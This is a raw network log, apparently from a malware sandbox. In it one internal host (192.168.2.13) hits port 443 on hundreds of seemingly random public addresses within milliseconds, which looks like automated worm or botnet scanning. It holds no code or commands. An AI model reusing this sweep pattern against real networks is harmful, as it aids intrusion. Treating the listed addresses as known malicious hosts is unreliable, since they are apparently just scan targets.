Jan 30, 2025 10:43:01.144273043 CET	38815	443	192.168.2.13	148.165.34.92
Jan 30, 2025 10:43:01.144273043 CET	38815	443	192.168.2.13	148.238.28.9
Jan 30, 2025 10:43:01.144277096 CET	38815	443	192.168.2.13	148.206.137.107
Jan 30, 2025 10:43:01.144283056 CET	38815	443	192.168.2.13	109.94.187.216
Jan 30, 2025 10:43:01.144283056 CET	38815	443	192.168.2.13	5.229.49.247
Jan 30, 2025 10:43:01.144287109 CET	38815	443	192.168.2.13	178.160.137.162
Jan 30, 2025 10:43:01.144301891 CET	38815	443	192.168.2.13	123.237.129.226
Jan 30, 2025 10:43:01.144303083 CET	38815	443	192.168.2.13	178.108.195.210
Jan 30, 2025 10:43:01.144308090 CET	38815	443	192.168.2.13	212.207.162.18
Jan 30, 2025 10:43:01.144308090 CET	38815	443	192.168.2.13	37.117.203.46
Jan 30, 2025 10:43:01.144325018 CET	38815	443	192.168.2.13	210.197.154.228
Jan 30, 2025 10:43:01.144329071 CET	38815	443	192.168.2.13	5.247.244.16
Jan 30, 2025 10:43:01.144330025 CET	38815	443	192.168.2.13	2.22.82.68
Jan 30, 2025 10:43:01.144342899 CET	38815	443	192.168.2.13	37.131.23.136
Jan 30, 2025 10:43:01.144342899 CET	38815	443	192.168.2.13	5.110.103.81
Jan 30, 2025 10:43:01.144345045 CET	38815	443	192.168.2.13	79.63.26.31
Jan 30, 2025 10:43:01.144351006 CET	38815	443	192.168.2.13	2.237.72.207
Jan 30, 2025 10:43:01.144359112 CET	38815	443	192.168.2.13	148.192.246.188
Jan 30, 2025 10:43:01.144380093 CET	38815	443	192.168.2.13	178.131.59.185
Jan 30, 2025 10:43:01.144380093 CET	38815	443	192.168.2.13	94.43.191.133
Jan 30, 2025 10:43:01.144396067 CET	38815	443	192.168.2.13	212.205.39.74
Jan 30, 2025 10:43:01.144403934 CET	38815	443	192.168.2.13	148.187.36.164
Jan 30, 2025 10:43:01.144407988 CET	38815	443	192.168.2.13	109.32.85.12
Jan 30, 2025 10:43:01.144411087 CET	38815	443	192.168.2.13	42.213.228.23
Jan 30, 2025 10:43:01.144411087 CET	38815	443	192.168.2.13	123.73.12.44
Jan 30, 2025 10:43:01.144419909 CET	38815	443	192.168.2.13	148.95.25.130
Jan 30, 2025 10:43:01.144419909 CET	38815	443	192.168.2.13	118.10.109.71
Jan 30, 2025 10:43:01.144419909 CET	38815	443	192.168.2.13	94.159.199.246
Jan 30, 2025 10:43:01.144419909 CET	38815	443	192.168.2.13	212.61.239.135
Jan 30, 2025 10:43:01.144424915 CET	38815	443	192.168.2.13	94.129.240.255
Jan 30, 2025 10:43:01.144437075 CET	38815	443	192.168.2.13	202.69.16.251
Jan 30, 2025 10:43:01.144440889 CET	38815	443	192.168.2.13	79.187.14.200
Jan 30, 2025 10:43:01.144452095 CET	38815	443	192.168.2.13	5.206.105.167
Jan 30, 2025 10:43:01.144452095 CET	38815	443	192.168.2.13	2.201.53.200
Jan 30, 2025 10:43:01.144460917 CET	38815	443	192.168.2.13	123.213.178.166
Jan 30, 2025 10:43:01.144469976 CET	38815	443	192.168.2.13	42.88.231.77
Jan 30, 2025 10:43:01.144476891 CET	38815	443	192.168.2.13	178.185.137.39
Jan 30, 2025 10:43:01.144491911 CET	38815	443	192.168.2.13	212.170.193.224
Jan 30, 2025 10:43:01.144491911 CET	38815	443	192.168.2.13	123.217.55.44
Jan 30, 2025 10:43:01.144499063 CET	38815	443	192.168.2.13	117.173.95.180
Jan 30, 2025 10:43:01.144514084 CET	38815	443	192.168.2.13	210.37.100.142
Jan 30, 2025 10:43:01.144514084 CET	38815	443	192.168.2.13	2.34.95.57
Jan 30, 2025 10:43:01.144520998 CET	38815	443	192.168.2.13	117.111.230.25
Jan 30, 2025 10:43:01.144520998 CET	38815	443	192.168.2.13	2.248.115.165
Jan 30, 2025 10:43:01.144520998 CET	38815	443	192.168.2.13	117.157.72.249
Jan 30, 2025 10:43:01.144527912 CET	38815	443	192.168.2.13	148.175.110.126
Jan 30, 2025 10:43:01.144527912 CET	38815	443	192.168.2.13	94.55.232.182
Jan 30, 2025 10:43:01.144546032 CET	38815	443	192.168.2.13	37.69.23.232
Jan 30, 2025 10:43:01.144551992 CET	38815	443	192.168.2.13	210.156.182.127
Jan 30, 2025 10:43:01.144551992 CET	38815	443	192.168.2.13	79.217.203.39
Jan 30, 2025 10:43:01.144551992 CET	38815	443	192.168.2.13	79.31.220.29
Jan 30, 2025 10:43:01.144556046 CET	38815	443	192.168.2.13	109.87.132.119
Jan 30, 2025 10:43:01.144560099 CET	38815	443	192.168.2.13	210.65.142.166
Jan 30, 2025 10:43:01.144560099 CET	38815	443	192.168.2.13	117.70.51.117
Jan 30, 2025 10:43:01.144567013 CET	38815	443	192.168.2.13	94.158.58.45
Jan 30, 2025 10:43:01.144572020 CET	38815	443	192.168.2.13	94.113.104.28
Jan 30, 2025 10:43:01.144576073 CET	38815	443	192.168.2.13	148.170.189.2
Jan 30, 2025 10:43:01.144582987 CET	38815	443	192.168.2.13	2.41.74.229
Jan 30, 2025 10:43:01.144599915 CET	38815	443	192.168.2.13	202.90.5.187
Jan 30, 2025 10:43:01.144601107 CET	38815	443	192.168.2.13	118.73.57.77
Jan 30, 2025 10:43:01.144608021 CET	38815	443	192.168.2.13	118.15.49.148
Jan 30, 2025 10:43:01.144613028 CET	38815	443	192.168.2.13	178.199.108.31
Jan 30, 2025 10:43:01.144613028 CET	38815	443	192.168.2.13	123.146.62.40
Jan 30, 2025 10:43:01.144628048 CET	38815	443	192.168.2.13	123.143.178.233
Jan 30, 2025 10:43:01.144630909 CET	38815	443	192.168.2.13	148.45.67.210
Jan 30, 2025 10:43:01.144638062 CET	38815	443	192.168.2.13	118.225.102.23
Jan 30, 2025 10:43:01.144639015 CET	38815	443	192.168.2.13	109.239.189.58
Jan 30, 2025 10:43:01.144642115 CET	38815	443	192.168.2.13	210.219.110.174
Jan 30, 2025 10:43:01.144645929 CET	38815	443	192.168.2.13	202.153.167.167
Jan 30, 2025 10:43:01.144645929 CET	38815	443	192.168.2.13	94.114.203.248
Jan 30, 2025 10:43:01.144656897 CET	38815	443	192.168.2.13	212.155.207.51
Jan 30, 2025 10:43:01.144664049 CET	38815	443	192.168.2.13	212.136.80.38
Jan 30, 2025 10:43:01.144678116 CET	38815	443	192.168.2.13	148.16.47.74
Jan 30, 2025 10:43:01.144678116 CET	38815	443	192.168.2.13	123.79.124.75
Jan 30, 2025 10:43:01.144685984 CET	38815	443	192.168.2.13	109.83.6.35
Jan 30, 2025 10:43:01.144686937 CET	38815	443	192.168.2.13	79.172.174.41
Jan 30, 2025 10:43:01.144687891 CET	38815	443	192.168.2.13	109.141.23.158
Jan 30, 2025 10:43:01.144699097 CET	38815	443	192.168.2.13	37.169.230.198
Jan 30, 2025 10:43:01.144699097 CET	38815	443	192.168.2.13	210.168.61.215
Jan 30, 2025 10:43:01.144701958 CET	38815	443	192.168.2.13	178.92.180.245
Jan 30, 2025 10:43:01.144701958 CET	38815	443	192.168.2.13	42.21.55.226
Jan 30, 2025 10:43:01.144701958 CET	38815	443	192.168.2.13	2.212.172.8
Jan 30, 2025 10:43:01.144701958 CET	38815	443	192.168.2.13	109.227.222.253
Jan 30, 2025 10:43:01.144701958 CET	38815	443	192.168.2.13	37.235.241.155
Jan 30, 2025 10:43:01.144702911 CET	38815	443	192.168.2.13	178.25.158.247
Jan 30, 2025 10:43:01.144701958 CET	38815	443	192.168.2.13	109.45.176.38
Jan 30, 2025 10:43:01.144706964 CET	38815	443	192.168.2.13	117.24.133.120
Jan 30, 2025 10:43:01.144707918 CET	38815	443	192.168.2.13	148.165.246.172
Jan 30, 2025 10:43:01.144709110 CET	38815	443	192.168.2.13	109.219.51.249
Jan 30, 2025 10:43:01.144709110 CET	38815	443	192.168.2.13	123.146.41.118
Jan 30, 2025 10:43:01.144709110 CET	38815	443	192.168.2.13	117.44.36.73
Jan 30, 2025 10:43:01.144714117 CET	38815	443	192.168.2.13	178.127.208.54
Jan 30, 2025 10:43:01.144716978 CET	38815	443	192.168.2.13	210.145.112.102
Jan 30, 2025 10:43:01.144722939 CET	38815	443	192.168.2.13	212.25.11.57
Jan 30, 2025 10:43:01.144732952 CET	38815	443	192.168.2.13	148.133.0.122
Jan 30, 2025 10:43:01.144736052 CET	38815	443	192.168.2.13	202.189.232.102
Jan 30, 2025 10:43:01.144743919 CET	38815	443	192.168.2.13	79.93.158.26
Jan 30, 2025 10:43:01.144747972 CET	38815	443	192.168.2.13	202.154.253.61
Jan 30, 2025 10:43:01.144753933 CET	38815	443	192.168.2.13	148.211.134.217
Jan 30, 2025 10:43:01.144761086 CET	38815	443	192.168.2.13	79.8.2.227
Jan 30, 2025 10:43:01.144769907 CET	38815	443	192.168.2.13	212.69.190.215
Jan 30, 2025 10:43:01.144771099 CET	38815	443	192.168.2.13	42.134.104.241
Jan 30, 2025 10:43:01.144776106 CET	38815	443	192.168.2.13	123.11.234.4
Jan 30, 2025 10:43:01.144789934 CET	38815	443	192.168.2.13	94.162.236.121
Jan 30, 2025 10:43:01.144789934 CET	38815	443	192.168.2.13	202.230.131.27
Jan 30, 2025 10:43:01.144808054 CET	38815	443	192.168.2.13	210.219.160.81
Jan 30, 2025 10:43:01.144810915 CET	38815	443	192.168.2.13	2.58.13.181
Jan 30, 2025 10:43:01.144817114 CET	38815	443	192.168.2.13	202.228.162.189
Jan 30, 2025 10:43:01.144824982 CET	38815	443	192.168.2.13	5.138.45.240
Jan 30, 2025 10:43:01.144824982 CET	38815	443	192.168.2.13	37.213.89.90
Jan 30, 2025 10:43:01.144828081 CET	38815	443	192.168.2.13	37.62.29.178
Jan 30, 2025 10:43:01.144829988 CET	38815	443	192.168.2.13	212.230.13.237
Jan 30, 2025 10:43:01.144829988 CET	38815	443	192.168.2.13	148.209.161.152
Jan 30, 2025 10:43:01.144829988 CET	38815	443	192.168.2.13	94.192.249.236
Jan 30, 2025 10:43:01.144835949 CET	38815	443	192.168.2.13	123.253.101.155
Jan 30, 2025 10:43:01.144836903 CET	38815	443	192.168.2.13	123.56.144.79
Jan 30, 2025 10:43:01.144853115 CET	38815	443	192.168.2.13	42.196.225.206
Jan 30, 2025 10:43:01.144853115 CET	38815	443	192.168.2.13	37.207.226.60
Jan 30, 2025 10:43:01.144860983 CET	38815	443	192.168.2.13	212.72.153.88
Jan 30, 2025 10:43:01.144869089 CET	38815	443	192.168.2.13	2.134.246.144
Jan 30, 2025 10:43:01.144874096 CET	38815	443	192.168.2.13	109.189.201.113
Jan 30, 2025 10:43:01.144877911 CET	38815	443	192.168.2.13	123.162.27.21
Jan 30, 2025 10:43:01.144890070 CET	38815	443	192.168.2.13	210.161.151.28
Jan 30, 2025 10:43:01.144896030 CET	38815	443	192.168.2.13	212.20.150.218
Jan 30, 2025 10:43:01.144896030 CET	38815	443	192.168.2.13	202.140.121.11
Jan 30, 2025 10:43:01.144906998 CET	38815	443	192.168.2.13	109.247.47.245
Jan 30, 2025 10:43:01.144907951 CET	38815	443	192.168.2.13	118.62.118.203
Jan 30, 2025 10:43:01.144910097 CET	38815	443	192.168.2.13	42.138.16.126
Jan 30, 2025 10:43:01.144928932 CET	38815	443	192.168.2.13	118.131.153.59
Jan 30, 2025 10:43:01.144933939 CET	38815	443	192.168.2.13	210.231.250.177
Jan 30, 2025 10:43:01.144953966 CET	38815	443	192.168.2.13	202.218.70.95
Jan 30, 2025 10:43:01.144963980 CET	38815	443	192.168.2.13	2.150.54.29
Jan 30, 2025 10:43:01.144964933 CET	38815	443	192.168.2.13	123.72.161.59
Jan 30, 2025 10:43:01.144964933 CET	38815	443	192.168.2.13	37.111.57.131
Jan 30, 2025 10:43:01.144964933 CET	38815	443	192.168.2.13	178.147.23.26
Jan 30, 2025 10:43:01.144964933 CET	38815	443	192.168.2.13	37.217.26.47
Jan 30, 2025 10:43:01.144994020 CET	38815	443	192.168.2.13	118.36.66.201
Jan 30, 2025 10:43:01.145010948 CET	38815	443	192.168.2.13	148.129.212.134
Jan 30, 2025 10:43:01.145010948 CET	38815	443	192.168.2.13	212.60.6.15
Jan 30, 2025 10:43:01.145011902 CET	38815	443	192.168.2.13	117.218.153.54
Jan 30, 2025 10:43:01.145018101 CET	38815	443	192.168.2.13	79.167.142.127
Jan 30, 2025 10:43:01.145018101 CET	38815	443	192.168.2.13	42.93.7.228
Jan 30, 2025 10:43:01.145031929 CET	38815	443	192.168.2.13	123.114.81.47
Jan 30, 2025 10:43:01.145031929 CET	38815	443	192.168.2.13	123.78.250.197
Jan 30, 2025 10:43:01.145031929 CET	38815	443	192.168.2.13	212.31.54.187
Jan 30, 2025 10:43:01.145037889 CET	38815	443	192.168.2.13	117.29.93.203
Jan 30, 2025 10:43:01.145040035 CET	38815	443	192.168.2.13	123.137.117.87
Jan 30, 2025 10:43:01.145054102 CET	38815	443	192.168.2.13	42.174.239.158
Jan 30, 2025 10:43:01.145056963 CET	38815	443	192.168.2.13	117.60.91.177
Jan 30, 2025 10:43:01.145057917 CET	38815	443	192.168.2.13	42.112.102.33
Jan 30, 2025 10:43:01.145065069 CET	38815	443	192.168.2.13	109.13.192.195
Jan 30, 2025 10:43:01.145073891 CET	38815	443	192.168.2.13	2.94.49.226
Jan 30, 2025 10:43:01.145077944 CET	38815	443	192.168.2.13	2.67.196.46
Jan 30, 2025 10:43:01.145085096 CET	38815	443	192.168.2.13	210.180.119.24
Jan 30, 2025 10:43:01.145088911 CET	38815	443	192.168.2.13	37.194.181.39
Jan 30, 2025 10:43:01.145097017 CET	38815	443	192.168.2.13	210.84.254.147
Jan 30, 2025 10:43:01.145103931 CET	38815	443	192.168.2.13	117.42.119.5
Jan 30, 2025 10:43:01.145121098 CET	38815	443	192.168.2.13	5.78.106.61
Jan 30, 2025 10:43:01.145123005 CET	38815	443	192.168.2.13	202.152.108.223
Jan 30, 2025 10:43:01.145123959 CET	38815	443	192.168.2.13	117.221.210.61
Jan 30, 2025 10:43:01.145127058 CET	38815	443	192.168.2.13	117.158.149.230
Jan 30, 2025 10:43:01.145127058 CET	38815	443	192.168.2.13	79.72.95.116
Jan 30, 2025 10:43:01.145129919 CET	38815	443	192.168.2.13	212.72.37.14
Jan 30, 2025 10:43:01.145148993 CET	38815	443	192.168.2.13	2.34.5.157
Jan 30, 2025 10:43:01.145164013 CET	38815	443	192.168.2.13	79.48.127.238
Jan 30, 2025 10:43:01.145172119 CET	38815	443	192.168.2.13	123.155.63.121
Jan 30, 2025 10:43:01.145178080 CET	38815	443	192.168.2.13	210.19.51.7
Jan 30, 2025 10:43:01.145185947 CET	38815	443	192.168.2.13	117.72.10.209
Jan 30, 2025 10:43:01.145185947 CET	38815	443	192.168.2.13	37.114.16.121
Jan 30, 2025 10:43:01.145188093 CET	38815	443	192.168.2.13	178.160.185.46
Jan 30, 2025 10:43:01.145188093 CET	38815	443	192.168.2.13	109.67.68.251
Jan 30, 2025 10:43:01.145188093 CET	38815	443	192.168.2.13	210.237.114.135
Jan 30, 2025 10:43:01.145198107 CET	38815	443	192.168.2.13	42.38.11.224
Jan 30, 2025 10:43:01.145199060 CET	38815	443	192.168.2.13	118.46.241.171
Jan 30, 2025 10:43:01.145198107 CET	38815	443	192.168.2.13	202.170.175.237
Jan 30, 2025 10:43:01.145201921 CET	38815	443	192.168.2.13	42.72.95.235
Jan 30, 2025 10:43:01.145203114 CET	38815	443	192.168.2.13	94.212.203.168
Jan 30, 2025 10:43:01.145201921 CET	38815	443	192.168.2.13	117.55.3.162
Jan 30, 2025 10:43:01.145203114 CET	38815	443	192.168.2.13	123.105.117.12
Jan 30, 2025 10:43:01.145203114 CET	38815	443	192.168.2.13	118.183.219.110
Jan 30, 2025 10:43:01.145205021 CET	38815	443	192.168.2.13	123.203.48.121
Jan 30, 2025 10:43:01.145205021 CET	38815	443	192.168.2.13	118.128.162.62
Jan 30, 2025 10:43:01.145205021 CET	38815	443	192.168.2.13	37.179.104.11
Jan 30, 2025 10:43:01.145212889 CET	38815	443	192.168.2.13	178.14.184.26
Jan 30, 2025 10:43:01.145215034 CET	38815	443	192.168.2.13	37.152.183.253
Jan 30, 2025 10:43:01.145215034 CET	38815	443	192.168.2.13	212.229.227.209
Jan 30, 2025 10:43:01.145215988 CET	38815	443	192.168.2.13	2.40.104.50
Jan 30, 2025 10:43:01.145215988 CET	38815	443	192.168.2.13	212.83.215.106
Jan 30, 2025 10:43:01.145215988 CET	38815	443	192.168.2.13	2.199.63.122
Jan 30, 2025 10:43:01.145220041 CET	38815	443	192.168.2.13	123.153.27.55
Jan 30, 2025 10:43:01.145220995 CET	38815	443	192.168.2.13	212.177.46.179
Jan 30, 2025 10:43:01.145220995 CET	38815	443	192.168.2.13	202.153.54.19
Jan 30, 2025 10:43:01.145220041 CET	38815	443	192.168.2.13	5.164.188.45
Jan 30, 2025 10:43:01.145224094 CET	38815	443	192.168.2.13	42.215.100.7
Jan 30, 2025 10:43:01.145240068 CET	38815	443	192.168.2.13	109.38.245.235
Jan 30, 2025 10:43:01.145241022 CET	38815	443	192.168.2.13	94.60.2.47
Jan 30, 2025 10:43:01.145241022 CET	38815	443	192.168.2.13	123.20.52.180
Jan 30, 2025 10:43:01.145242929 CET	38815	443	192.168.2.13	109.222.26.229
Jan 30, 2025 10:43:01.145243883 CET	38815	443	192.168.2.13	148.78.233.83
Jan 30, 2025 10:43:01.145258904 CET	38815	443	192.168.2.13	2.53.150.137
Jan 30, 2025 10:43:01.145262003 CET	38815	443	192.168.2.13	109.25.105.201
Jan 30, 2025 10:43:01.145268917 CET	38815	443	192.168.2.13	109.35.79.210
Jan 30, 2025 10:43:01.145273924 CET	38815	443	192.168.2.13	117.136.144.36
Jan 30, 2025 10:43:01.145277977 CET	38815	443	192.168.2.13	123.80.233.195
Jan 30, 2025 10:43:01.145283937 CET	38815	443	192.168.2.13	79.165.119.192
Jan 30, 2025 10:43:01.145283937 CET	38815	443	192.168.2.13	178.76.24.61
Jan 30, 2025 10:43:01.145283937 CET	38815	443	192.168.2.13	117.192.36.52
Jan 30, 2025 10:43:01.145283937 CET	38815	443	192.168.2.13	178.64.106.241
Jan 30, 2025 10:43:01.145283937 CET	38815	443	192.168.2.13	212.7.164.252
Jan 30, 2025 10:43:01.145304918 CET	38815	443	192.168.2.13	94.12.178.123
Jan 30, 2025 10:43:01.145312071 CET	38815	443	192.168.2.13	178.51.231.191
Jan 30, 2025 10:43:01.145312071 CET	38815	443	192.168.2.13	2.119.40.45
Jan 30, 2025 10:43:01.145329952 CET	38815	443	192.168.2.13	42.228.32.83
Jan 30, 2025 10:43:01.145330906 CET	38815	443	192.168.2.13	2.85.168.158
Jan 30, 2025 10:43:01.145334959 CET	38815	443	192.168.2.13	5.38.75.14
Jan 30, 2025 10:43:01.145337105 CET	38815	443	192.168.2.13	109.109.105.89
Jan 30, 2025 10:43:01.145344019 CET	38815	443	192.168.2.13	94.55.140.40
Jan 30, 2025 10:43:01.145348072 CET	38815	443	192.168.2.13	148.95.183.220
Jan 30, 2025 10:43:01.145349026 CET	38815	443	192.168.2.13	117.245.176.143
Jan 30, 2025 10:43:01.145348072 CET	38815	443	192.168.2.13	178.31.5.179
Jan 30, 2025 10:43:01.145349026 CET	38815	443	192.168.2.13	2.172.231.212
Jan 30, 2025 10:43:01.145356894 CET	38815	443	192.168.2.13	109.136.68.32
Jan 30, 2025 10:43:01.145356894 CET	38815	443	192.168.2.13	202.89.11.211
Jan 30, 2025 10:43:01.145359039 CET	38815	443	192.168.2.13	42.25.55.112
Jan 30, 2025 10:43:01.145359039 CET	38815	443	192.168.2.13	117.223.154.44
Jan 30, 2025 10:43:01.145360947 CET	38815	443	192.168.2.13	94.55.57.31
Jan 30, 2025 10:43:01.145360947 CET	38815	443	192.168.2.13	123.164.50.254
Jan 30, 2025 10:43:01.145361900 CET	38815	443	192.168.2.13	202.77.63.19
Jan 30, 2025 10:43:01.145360947 CET	38815	443	192.168.2.13	178.174.175.76
Jan 30, 2025 10:43:01.145363092 CET	38815	443	192.168.2.13	37.228.104.98
Jan 30, 2025 10:43:01.145364046 CET	38815	443	192.168.2.13	79.61.120.58
Jan 30, 2025 10:43:01.145360947 CET	38815	443	192.168.2.13	118.139.29.200
Jan 30, 2025 10:43:01.145360947 CET	38815	443	192.168.2.13	5.201.144.16
Jan 30, 2025 10:43:01.145360947 CET	38815	443	192.168.2.13	123.154.105.167
Jan 30, 2025 10:43:01.145360947 CET	38815	443	192.168.2.13	2.94.17.80
Jan 30, 2025 10:43:01.145370007 CET	38815	443	192.168.2.13	79.200.55.243
Jan 30, 2025 10:43:01.145384073 CET	38815	443	192.168.2.13	5.130.10.68
Jan 30, 2025 10:43:01.145385981 CET	38815	443	192.168.2.13	79.252.214.241
Jan 30, 2025 10:43:01.145385981 CET	38815	443	192.168.2.13	210.167.172.22
Jan 30, 2025 10:43:01.145385981 CET	38815	443	192.168.2.13	79.218.21.179
Jan 30, 2025 10:43:01.145385981 CET	38815	443	192.168.2.13	109.135.221.170
Jan 30, 2025 10:43:01.145385981 CET	38815	443	192.168.2.13	202.9.139.119
Jan 30, 2025 10:43:01.145386934 CET	38815	443	192.168.2.13	79.243.208.10
Jan 30, 2025 10:43:01.145386934 CET	38815	443	192.168.2.13	178.9.108.182
Jan 30, 2025 10:43:01.145389080 CET	38815	443	192.168.2.13	42.206.177.17
Jan 30, 2025 10:43:01.145389080 CET	38815	443	192.168.2.13	2.220.6.61
Jan 30, 2025 10:43:01.145390034 CET	38815	443	192.168.2.13	210.10.189.177
Jan 30, 2025 10:43:01.145389080 CET	38815	443	192.168.2.13	2.226.78.62
Jan 30, 2025 10:43:01.145394087 CET	38815	443	192.168.2.13	118.187.42.214
Jan 30, 2025 10:43:01.145395994 CET	38815	443	192.168.2.13	118.142.179.250
Jan 30, 2025 10:43:01.145394087 CET	38815	443	192.168.2.13	148.130.121.55
Jan 30, 2025 10:43:01.145395994 CET	38815	443	192.168.2.13	178.149.221.67
Jan 30, 2025 10:43:01.145395994 CET	38815	443	192.168.2.13	5.216.27.165
Jan 30, 2025 10:43:01.145394087 CET	38815	443	192.168.2.13	79.207.31.119
Jan 30, 2025 10:43:01.145406008 CET	38815	443	192.168.2.13	117.206.146.8
Jan 30, 2025 10:43:01.145406008 CET	38815	443	192.168.2.13	94.18.121.168
Jan 30, 2025 10:43:01.145406008 CET	38815	443	192.168.2.13	2.86.222.249
Jan 30, 2025 10:43:01.145407915 CET	38815	443	192.168.2.13	2.115.196.15
Jan 30, 2025 10:43:01.145407915 CET	38815	443	192.168.2.13	148.58.52.68
Jan 30, 2025 10:43:01.145411015 CET	38815	443	192.168.2.13	42.216.226.131
Jan 30, 2025 10:43:01.145411015 CET	38815	443	192.168.2.13	212.227.222.130
Jan 30, 2025 10:43:01.145411015 CET	38815	443	192.168.2.13	178.84.182.155
Jan 30, 2025 10:43:01.145411968 CET	38815	443	192.168.2.13	42.223.49.28
Jan 30, 2025 10:43:01.145411015 CET	38815	443	192.168.2.13	123.220.108.173
Jan 30, 2025 10:43:01.145411968 CET	38815	443	192.168.2.13	210.163.189.201
Jan 30, 2025 10:43:01.145411968 CET	38815	443	192.168.2.13	79.231.199.157
Jan 30, 2025 10:43:01.145416021 CET	38815	443	192.168.2.13	118.246.36.49
Jan 30, 2025 10:43:01.145416021 CET	38815	443	192.168.2.13	37.50.107.180
Jan 30, 2025 10:43:01.145421028 CET	38815	443	192.168.2.13	5.160.248.250
Jan 30, 2025 10:43:01.145421028 CET	38815	443	192.168.2.13	42.25.119.0
Jan 30, 2025 10:43:01.145412922 CET	38815	443	192.168.2.13	37.87.124.38
Jan 30, 2025 10:43:01.145421982 CET	38815	443	192.168.2.13	42.217.231.17
Jan 30, 2025 10:43:01.145421982 CET	38815	443	192.168.2.13	202.103.10.97
Jan 30, 2025 10:43:01.145421982 CET	38815	443	192.168.2.13	148.90.169.209
Jan 30, 2025 10:43:01.145427942 CET	38815	443	192.168.2.13	118.18.85.61
Jan 30, 2025 10:43:01.145427942 CET	38815	443	192.168.2.13	5.134.156.27
Jan 30, 2025 10:43:01.145431995 CET	38815	443	192.168.2.13	2.92.127.140
Jan 30, 2025 10:43:01.145431995 CET	38815	443	192.168.2.13	2.133.72.97
Jan 30, 2025 10:43:01.145435095 CET	38815	443	192.168.2.13	42.88.5.0
Jan 30, 2025 10:43:01.145436049 CET	38815	443	192.168.2.13	2.105.134.46
Jan 30, 2025 10:43:01.145436049 CET	38815	443	192.168.2.13	79.197.43.83
Jan 30, 2025 10:43:01.145440102 CET	38815	443	192.168.2.13	123.247.48.7
Jan 30, 2025 10:43:01.145440102 CET	38815	443	192.168.2.13	94.38.218.63
Jan 30, 2025 10:43:01.145440102 CET	38815	443	192.168.2.13	123.175.146.225
Jan 30, 2025 10:43:01.145445108 CET	38815	443	192.168.2.13	37.33.13.83
Jan 30, 2025 10:43:01.145447969 CET	38815	443	192.168.2.13	202.170.246.213
Jan 30, 2025 10:43:01.145450115 CET	38815	443	192.168.2.13	123.32.116.97
Jan 30, 2025 10:43:01.145450115 CET	38815	443	192.168.2.13	123.131.134.156
Jan 30, 2025 10:43:01.145458937 CET	38815	443	192.168.2.13	79.222.160.144
Jan 30, 2025 10:43:01.145452023 CET	38815	443	192.168.2.13	148.120.58.199
Jan 30, 2025 10:43:01.145452023 CET	38815	443	192.168.2.13	79.200.27.142
Jan 30, 2025 10:43:01.145462036 CET	38815	443	192.168.2.13	212.109.118.135
Jan 30, 2025 10:43:01.145462990 CET	38815	443	192.168.2.13	123.228.210.50
Jan 30, 2025 10:43:01.145463943 CET	38815	443	192.168.2.13	123.91.237.175
Jan 30, 2025 10:43:01.145463943 CET	38815	443	192.168.2.13	79.106.183.193
Jan 30, 2025 10:43:01.145466089 CET	38815	443	192.168.2.13	178.166.58.159
Jan 30, 2025 10:43:01.145467997 CET	38815	443	192.168.2.13	123.109.174.239
Jan 30, 2025 10:43:01.145466089 CET	38815	443	192.168.2.13	178.126.255.29
Jan 30, 2025 10:43:01.145481110 CET	38815	443	192.168.2.13	178.241.52.122
Jan 30, 2025 10:43:01.145481110 CET	38815	443	192.168.2.13	123.249.179.202
Jan 30, 2025 10:43:01.145494938 CET	38815	443	192.168.2.13	5.23.233.134
Jan 30, 2025 10:43:01.145498991 CET	38815	443	192.168.2.13	109.181.136.195
Jan 30, 2025 10:43:01.145502090 CET	38815	443	192.168.2.13	109.147.74.34
Jan 30, 2025 10:43:01.145502090 CET	38815	443	192.168.2.13	148.238.167.217
Jan 30, 2025 10:43:01.145517111 CET	38815	443	192.168.2.13	2.125.98.172
Jan 30, 2025 10:43:01.145519018 CET	38815	443	192.168.2.13	2.140.49.212
Jan 30, 2025 10:43:01.145529032 CET	38815	443	192.168.2.13	37.172.9.44
Jan 30, 2025 10:43:01.145536900 CET	38815	443	192.168.2.13	94.56.210.105
Jan 30, 2025 10:43:01.145536900 CET	38815	443	192.168.2.13	118.1.149.106
Jan 30, 2025 10:43:01.145538092 CET	38815	443	192.168.2.13	37.165.157.126
Jan 30, 2025 10:43:01.145637989 CET	38815	443	192.168.2.13	148.154.178.119
Jan 30, 2025 10:43:01.145642042 CET	38815	443	192.168.2.13	117.135.216.176
Jan 30, 2025 10:43:01.145642042 CET	38815	443	192.168.2.13	118.214.58.175
Jan 30, 2025 10:43:01.145643950 CET	38815	443	192.168.2.13	118.26.0.241
Jan 30, 2025 10:43:01.145644903 CET	38815	443	192.168.2.13	210.53.171.230
Jan 30, 2025 10:43:01.145646095 CET	38815	443	192.168.2.13	118.7.107.28
Jan 30, 2025 10:43:01.145646095 CET	38815	443	192.168.2.13	5.15.97.183
Jan 30, 2025 10:43:01.145646095 CET	38815	443	192.168.2.13	210.72.31.217
Jan 30, 2025 10:43:01.145648003 CET	38815	443	192.168.2.13	118.224.184.110
Jan 30, 2025 10:43:01.145648003 CET	38815	443	192.168.2.13	109.25.253.255
Jan 30, 2025 10:43:01.145649910 CET	38815	443	192.168.2.13	117.230.40.108
Jan 30, 2025 10:43:01.145649910 CET	38815	443	192.168.2.13	2.78.203.113
Jan 30, 2025 10:43:01.145658970 CET	38815	443	192.168.2.13	118.187.32.87
Jan 30, 2025 10:43:01.145658970 CET	38815	443	192.168.2.13	210.126.193.170
Jan 30, 2025 10:43:01.145658970 CET	38815	443	192.168.2.13	94.148.255.86
Jan 30, 2025 10:43:01.145766020 CET	38815	443	192.168.2.13	94.116.24.203
Jan 30, 2025 10:43:01.145766020 CET	38815	443	192.168.2.13	210.174.199.92
Jan 30, 2025 10:43:01.145766973 CET	38815	443	192.168.2.13	123.187.212.73
Jan 30, 2025 10:43:01.145766020 CET	38815	443	192.168.2.13	42.0.136.122
Jan 30, 2025 10:43:01.145766973 CET	38815	443	192.168.2.13	37.105.199.65
Jan 30, 2025 10:43:01.145770073 CET	38815	443	192.168.2.13	210.230.41.179
Jan 30, 2025 10:43:01.145770073 CET	38815	443	192.168.2.13	212.207.54.231
Jan 30, 2025 10:43:01.145770073 CET	38815	443	192.168.2.13	79.245.17.242
Jan 30, 2025 10:43:01.145770073 CET	38815	443	192.168.2.13	94.91.195.165
Jan 30, 2025 10:43:01.145775080 CET	38815	443	192.168.2.13	37.168.216.179
Jan 30, 2025 10:43:01.145770073 CET	38815	443	192.168.2.13	210.59.98.112
Jan 30, 2025 10:43:01.145766020 CET	38815	443	192.168.2.13	123.198.204.20
Jan 30, 2025 10:43:01.145770073 CET	38815	443	192.168.2.13	210.40.240.159
Jan 30, 2025 10:43:01.145770073 CET	38815	443	192.168.2.13	210.76.207.102
Jan 30, 2025 10:43:01.145770073 CET	38815	443	192.168.2.13	123.254.216.188
